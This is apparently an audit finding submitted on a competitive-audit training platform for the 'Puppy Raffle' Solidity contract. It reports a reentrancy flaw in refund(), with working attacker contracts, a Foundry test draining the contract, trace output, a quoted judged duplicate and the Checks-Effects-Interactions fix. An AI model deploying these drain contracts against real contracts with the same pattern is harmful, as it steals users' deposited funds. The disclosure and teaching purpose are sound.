Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in PuppyRaffle: Refund Function Lets Any Player Drain the Contract Balance

Root + Impact

PuppyRaffle.refund sends the entrance fee via "sendValue" before zeroing the caller’s slot "players[playerindex] = address(0)" violating Checks-Effects-Interactions. An attacker enters as a legitimate player, calls refund, and reenters through its contract’s "receive()" during the "sendValue" callback — because "players{playerindex]" isn’t yet zeroed, each reentrant call passes both require checks and sends another entrance fee. The loop drains the contract completely, stealing not only every current player’s deposit but any accumulated fees from prior raffles still held by the contract.

Description

// The refund function shows the incorrect ordering.
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
payable(msg.sender).sendValue(entranceFee);
​
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
​
// The sendValue function, note that the require here only checks to make sure the contract's balance
// is greater than or equal to the amount sent to the recipient.
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
​
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}

Risk

Likelihood:

High. The attack is permissionless and needs no special state or timing. Any address can enter and reenter in a single transaction. The only guards, "playerAddress == msg.sender" and "playerAddress != address(0)", are satisfied by entering legitimately, and the whole exploit costs one entrance fee plus gas.

Impact:

The entire ETH balance of the contract is at risk — every active player’s deposit plus any accumulated fees from prior raffles. The attack succeeds the moment the contract holds any funds beyond the attacker’s own entry. And with no maximum player cap, the stealable amount is unbounded — the larger the raffle, the larger the single-transaction theft.

Proof of Concept

The proof of concept shows the reentrancy occurring by calling the refund function and going through "receive()".

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract PuppyRaffleReentrancyTest is Test {
PuppyRaffle puppyRaffle;
uint256 entranceFee = 1e18;
address feeAddress = address(0x2);
uint256 duration = 1 days;
​
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
}
​
function test_refundReentrancy() public {
// seed the pot with 4 honest players
address[] memory players = new address[](4);
players[0] = address(0x11);
players[1] = address(0x12);
players[2] = address(0x13);
players[3] = address(0x14);
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
vm.deal(address(attacker), entranceFee); // fund its single entry
​
uint256 raffleBefore = address(puppyRaffle).balance; // 4e18
uint256 attackerBefore = address(attacker).balance; // 1e18
​
attacker.attack();
​
// close on the money
assertEq(address(puppyRaffle).balance, 0);
assertEq(address(attacker).balance, attackerBefore + raffleBefore);
}
}
​
contract ReentrancyAttacker {
PuppyRaffle raffle;
uint256 entranceFee;
uint256 attackerIndex;
​
constructor(PuppyRaffle _raffle) {
raffle = _raffle;
entranceFee = raffle.entranceFee();
}
​
function attack() external payable {
address[] memory p = new address[](1);
p[0] = address(this);
raffle.enterRaffle{value: entranceFee}(p);
attackerIndex = raffle.getActivePlayerIndex(address(this));
raffle.refund(attackerIndex);
}
​
receive() external payable {
if (address(raffle).balance >= entranceFee) {
raffle.refund(attackerIndex);
}
}
}
​
Reentrancy Output:
forge test --match-test test_refundReentrancy -vvvv
​
Ran 1 test for test/Reentrancy.t.sol:PuppyRaffleReentrancyTest
[PASS] test_refundReentrancy() (gas: 862005)
Traces:
[881205] PuppyRaffleReentrancyTest::test_refundReentrancy()
├─ [167329] PuppyRaffle::enterRaffle{value: 4000000000000000000}([0x0000000000000000000000000000000000000011, 0x0000000000000000000000000000000000000012, 0x0000000000000000000000000000000000000013, 0x0000000000000000000000000000000000000014])
│ ├─ emit RaffleEnter(newPlayers: [0x0000000000000000000000000000000000000011, 0x0000000000000000000000000000000000000012, 0x0000000000000000000000000000000000000013, 0x0000000000000000000000000000000000000014])
│ └─ ← [Stop]
├─ [414787] → new ReentrancyAttacker@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
│ ├─ [251] PuppyRaffle::entranceFee() [staticcall]
│ │ └─ ← [Return] 1000000000000000000 [1e18]
│ └─ ← [Return] 1432 bytes of code
├─ [0] VM::deal(ReentrancyAttacker: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [244381] ReentrancyAttacker::attack()
│ ├─ [80404] PuppyRaffle::enterRaffle{value: 1000000000000000000}([0xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
│ │ ├─ emit RaffleEnter(newPlayers: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
│ │ └─ ← [Stop]
│ ├─ [13434] PuppyRaffle::getActivePlayerIndex(ReentrancyAttacker: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall]
│ │ └─ ← [Return] 4
│ ├─ [92298] PuppyRaffle::refund(4)
│ │ ├─ [78917] ReentrancyAttacker::receive{value: 1000000000000000000}()
│ │ │ ├─ [73173] PuppyRaffle::refund(4)
│ │ │ │ ├─ [59792] ReentrancyAttacker::receive{value: 1000000000000000000}()
│ │ │ │ │ ├─ [54048] PuppyRaffle::refund(4)
│ │ │ │ │ │ ├─ [40667] ReentrancyAttacker::receive{value: 1000000000000000000}()
│ │ │ │ │ │ │ ├─ [34923] PuppyRaffle::refund(4)
│ │ │ │ │ │ │ │ ├─ [21542] ReentrancyAttacker::receive{value: 1000000000000000000}()
│ │ │ │ │ │ │ │ │ ├─ [15798] PuppyRaffle::refund(4)
│ │ │ │ │ │ │ │ │ │ ├─ [2417] ReentrancyAttacker::receive{value: 1000000000000000000}()
│ │ │ │ │ │ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ │ │ │ │ │ ├─ emit RaffleRefunded(player: ReentrancyAttacker: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
│ │ │ │ │ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ │ │ │ ├─ emit RaffleRefunded(player: ReentrancyAttacker: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
│ │ │ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ │ ├─ emit RaffleRefunded(player: ReentrancyAttacker: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
│ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ └─ ← [Stop]
│ │ │ │ ├─ emit RaffleRefunded(player: ReentrancyAttacker: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Stop]
│ │ ├─ emit RaffleRefunded(player: ReentrancyAttacker: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
│ │ └─ ← [Stop]
│ └─ ← [Stop]
└─ ← [Stop]
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 824.40µs (276.94µs CPU time)
​
Ran 1 test suite in 8.25ms (824.40µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

The fix is straight forward. Adhere to the CEI guidelines by zeroing the player slot first and then making the external call to "sendValue" after emitting the refund.

// Change the order of sendValue and playerIndex so that the sendValue call occurs after the state change.
​
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
players[playerIndex] = address(0); // EFFECT — zero the slot FIRST
emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee); // INTERACTION — external call LAST
}
​
​
​
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!